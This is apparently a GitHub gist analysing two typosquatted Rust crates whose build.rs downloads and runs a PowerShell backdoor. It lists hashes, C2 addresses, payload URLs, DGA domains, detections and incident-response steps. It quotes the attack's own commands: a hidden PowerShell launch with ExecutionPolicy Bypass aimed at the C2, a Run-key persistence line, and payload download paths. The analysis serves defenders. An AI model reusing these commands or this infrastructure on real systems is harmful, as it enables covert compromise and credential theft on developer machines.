Skip to content

Instantly share code, notes, and snippets.

@marius-benthin
Created August 20, 2026 08:41
Show Gist options
  • Select an option

  • Save marius-benthin/273aa302ac9fb36e1c309a9479c5a8cf to your computer and use it in GitHub Desktop.

Select an option

Save marius-benthin/273aa302ac9fb36e1c309a9479c5a8cf to your computer and use it in GitHub Desktop.
Malicious Rust crates proc-macro1 and proc-macro-en: Analysis and IOCs

Malicious Rust crates proc-macro1 and proc-macro-en: Analysis and IOCs

Summary

Two malicious Rust crates—proc-macro1 version 1.0.107 and proc-macro-en version 1.0.10—impersonate the naming, source, authorship, and metadata of the legitimate proc-macro2 ecosystem.

Both contain the same malicious build.rs, byte for byte. Building either crate directly or as a transitive dependency downloads and launches a platform-specific payload. Commands that may trigger execution include cargo build, cargo check, and cargo test.

The build script:

  1. Reconstructs an obfuscated URL from Base64 fragments.
  2. Creates a TLS client that accepts any certificate.
  3. Downloads a payload selected by OS and architecture.
  4. Writes it into temporary storage.
  5. Executes it silently or detached.
  6. Passes 23.254.165.112:443 as the initial C2.

The Windows payload was analyzed statically. It is a PowerShell backdoor with host profiling, browser-account discovery, persistence, DGA fallback infrastructure, and arbitrary remote PowerShell execution. The Linux and macOS payloads were identified and hashed but were not analyzed. No payload was executed during analysis.

Malicious package identities

Package Version Claimed repository Crate archive SHA-256
proc-macro1 1.0.107 https://github.com/dtolnay/proc-macro1 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4
proc-macro-en 1.0.10 https://github.com/dtolnay/proc-macro-en 8ed7d2d62d283a7701213e7a07191ebf5ab4d4862a0272b6ecda1209f6e0b93a

Both packages imitate proc-macro2 while using subtly different names. They claim David Tolnay as their author and point to repository paths under his GitHub account that match the malicious package names.

Additional cloning evidence exists in proc-macro-en: its manifest declares version 1.0.10, while src/lib.rs retains an html_root_url containing version 1.0.107.

Shared malicious loader

The two packages contain byte-identical copies of build.rs:

cb7778eb6dda91028abf087eb7c3553f981a67e756769507d348e8c201805568  build.rs

proc-macro1 internal file hashes

cb7778eb6dda91028abf087eb7c3553f981a67e756769507d348e8c201805568  build.rs
e38d1e2129288da7294025f379ae533eb2d217450720a699d92eeec2b492a6f7  Cargo.toml
5ae990533efd38b1d89d49613d441514809df6c214881dc2f877c538495507a2  Cargo.toml.orig
b7ec23d274c33b8b523723b0333d09a75557a1474ac76e740884afcbe9f5dca5  Cargo.lock

proc-macro-en internal file hashes

cb7778eb6dda91028abf087eb7c3553f981a67e756769507d348e8c201805568  build.rs
01b3cce302b6630387790e2baeb639d6d3420c076891485decb860aac22023d9  Cargo.toml
e38d1288a7e3e311cfc98d8276766596485ef370a4298b83ef9fb40a9a4e3ad9  Cargo.toml.orig
f46f9dabdb763a0af094fb6ad8da03c32ea8a4df1d9e6e83c36ecc9dc1aa2b37  Cargo.lock
00eddad881d66d9592f2b180cf495fb2c70a7e19686cbcd10b85889082a72198  README.md
7047457f5bd18cccd3758405cfb5008da3a83ca5aac3938aafbfda88f6a41472  src/lib.rs

Payload infrastructure and hashes

23.254.165.112
23.254.165.112:443
23.254.165.112:9089
Target Download URL SHA-256
Linux x86-64 https://23.254.165.112:9089/rust-crate_0.1.0 408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
Windows x86-64 https://23.254.165.112:9089/rust-crate_0.2.0 492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391
macOS x86-64 https://23.254.165.112:9089/rust-crate_0.3.0 c9561a3b00a0fa38b7772675d987f84bd429c55cd024fc08a98245c2d1632848
macOS ARM64 https://23.254.165.112:9089/rust-crate_0.4.0 74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306

Additional hashes for the analyzed Windows payload:

SHA256: 492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391
SHA1:   fc0fdb978eac72f4484b48db058e4473f1bc516e
MD5:    0ea14afc05408181cf65195a6eeede04
Size:   35,578 bytes
Type:   PowerShell 5.1+ script

Build-script execution

Linux and macOS

/tmp/rust-setup
chmod +x /tmp/rust-setup
/tmp/rust-setup 23.254.165.112:443

Standard input, output, and error are redirected to null.

Windows

%TEMP%\rust-setup.ps1
%TEMP%\rust-setup-launch.vbs

Process chain:

wscript.exe //B //Nologo "%TEMP%\rust-setup-launch.vbs"

powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass \
  -WindowStyle Hidden -File "%TEMP%\rust-setup.ps1" \
  "23.254.165.112:443"

The launcher uses CREATE_NO_WINDOW and WScript.Shell to run invisibly and escape Cargo's job object.

Windows backdoor analysis

C2 protocol

https://23.254.165.112:443/49890878
https://<primary-or-DGA-host>:443/49890878

The implant sends Base64-encoded JSON in HTTPS POST bodies. TLS certificate validation is disabled.

Message type Purpose
start Sends initial host and browser inventory
check Polls for commands
cmd Returns command status and output

Collected information

  • Random 16-character bot identifier
  • Username and hostname
  • Windows version and processor architecture
  • PowerShell version
  • Administrator status
  • Installed applications
  • Chromium extension IDs
  • Browser login domains
  • Browser usernames and email addresses

Browser targets

%LOCALAPPDATA%\Google\Chrome\User Data
%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
%LOCALAPPDATA%\Microsoft\Edge\User Data

The implant selects Default and Profile <number> profiles and accesses:

<profile>\Login Data
<profile>\Local Extension Settings\

It queries the origin_url and username_value columns from Chromium's logins table. The analyzed stage does not directly extract password_value, although follow-on scripts can add unrestricted capabilities.

Secondary SQLite download

https://sqlite.org/2026/sqlite-tools-win-x64-3530400.zip

Temporary artifacts:

%TEMP%\sqlite_<GUID>\
%TEMP%\sqlite_<GUID>\sqlite-tools.zip
%TEMP%\sqlite_<GUID>\...\sqlite3.exe
%TEMP%\login_<GUID>\
%TEMP%\login_<GUID>\Login Data

This SQLite URL appears legitimate but can provide useful corroborating telemetry when observed shortly after execution of either malicious crate.

Persistence

The C2 supplies a double-Base64-encoded startup parameter that controls the destination folder and filename.

%APPDATA%\<operator-controlled folder>\<name>.ps1
%APPDATA%\<operator-controlled folder>\<name>.ps1.cfg

Registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Registry value data:

powershell -ep bypass -w h -File "<payload path>"

Configuration

The adjacent .cfg file contains AES-128-GCM-encrypted, Base64-encoded JSON:

{
  "UID": "<16-character identifier>",
  "PrimaryUrl": "<host:port>",
  "Cycle": 1
}

Hard-coded cryptographic strings:

i am botking
test

i am botking protects the main configuration. test decrypts minicfg parameters. Both strings are converted to 16-byte AES keys through null padding.

The implant also embeds a complete RSA private key and uses RSA-OAEP-SHA256 while processing commands. Because the private key is distributed with every implant, it should not be treated as secret authentication material.

Remote commands

Command Capability
minicfg Changes the primary C2 and polling interval
startup Relocates the implant and establishes HKCU Run-key persistence
runscript / Shell Downloads PowerShell, executes it synchronously, and returns output
runscript / ShellX Downloads PowerShell, executes it in the background, and returns its PID
kill Stops the implant without removing files or persistence

Follow-on PowerShell is written as:

%TEMP%\ps-<GUID>.ps1

Execution pattern:

powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass \
  -File "%TEMP%\ps-<GUID>.ps1" \
  "<param>" "<self_path>" "<uid>" "<primary_url>"

The same context is placed in the SCRIPT_ARGS environment variable.

DGA fallback

The implant uses xorshift32 to generate ten fallback .com domains every five days. Each hostname consists of ten alphabetic characters and is contacted on port 443 using /49890878.

Domains generated for August 20–24, 2026 UTC:

rasGThauFD.com:443
feVVKIiEiU.com:443
phrpjTNckF.com:443
PrOkXLgfjW.com:443
ackeoTaWtl.com:443
GAFWVCMAja.com:443
RNSsddnEgK.com:443
pfHlVOqEeg.com:443
aBEcOrkups.com:443
epOdIaTMaM.com:443

These are algorithmically generated indicators and are not necessarily registered or active.

Consolidated host IOCs

/tmp/rust-setup

%TEMP%\rust-setup.ps1
%TEMP%\rust-setup.ps1.cfg
%TEMP%\rust-setup-launch.vbs
%TEMP%\ps-<GUID>.ps1
%TEMP%\sqlite_<GUID>\
%TEMP%\sqlite_<GUID>\sqlite-tools.zip
%TEMP%\login_<GUID>\
%TEMP%\login_<GUID>\Login Data

%APPDATA%\<operator-controlled folder>\<name>.ps1
%APPDATA%\<operator-controlled folder>\<name>.ps1.cfg

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Detection opportunities

High-confidence combinations include:

  1. Cargo or a Rust compiler process creating /tmp/rust-setup.
  2. Cargo spawning chmod, followed by /tmp/rust-setup.
  3. Cargo or a build script writing %TEMP%\rust-setup.ps1.
  4. Cargo spawning wscript.exe.
  5. wscript.exe spawning hidden PowerShell with ExecutionPolicy Bypass.
  6. Connections to 23.254.165.112 on TCP 9089 or 443.
  7. HTTPS POST requests to /49890878.
  8. PowerShell reading Chromium Login Data across Chrome, Brave, or Edge.
  9. PowerShell downloading SQLite tools immediately before copying browser databases.
  10. HKCU Run values invoking hidden PowerShell scripts under %APPDATA%.
  11. PowerShell creating %TEMP%\ps-<GUID>.ps1 and launching another PowerShell instance.
  12. DNS lookups for multiple ten-letter .com domains followed by POSTs to /49890878.

Incident response

If either crate was built, treat the affected developer workstation or CI worker as compromised:

  1. Isolate the affected system.
  2. Block 23.254.165.112 on TCP 443 and 9089.
  3. Block or monitor known DGA domains.
  4. Preserve rust-setup*, .cfg, VBS, and temporary ps-*.ps1 artifacts.
  5. Collect process trees rooted in Cargo, wscript.exe, and PowerShell.
  6. Review PowerShell Script Block Logging, Module Logging, AMSI, DNS, proxy, firewall, and TLS telemetry.
  7. Inspect HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
  8. Hunt %APPDATA% for recently created PowerShell scripts with adjacent .cfg files.
  9. Hunt projects and Cargo caches for proc-macro1 v1.0.107 and proc-macro-en v1.0.10.
  10. Review affected CI workers and downstream build artifacts.
  11. Rotate credentials and browser sessions if follow-on activity is found.
  12. Rebuild affected systems from trusted images where appropriate.

Because the implant can execute arbitrary second-stage PowerShell, the observed first-stage feature set should not be treated as the limit of compromise.

@veeramani110400

Copy link
Copy Markdown

missed IOCs
23.254.167.13
23.254.167.216

these two IPs are linked to MASTRA Campaign

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment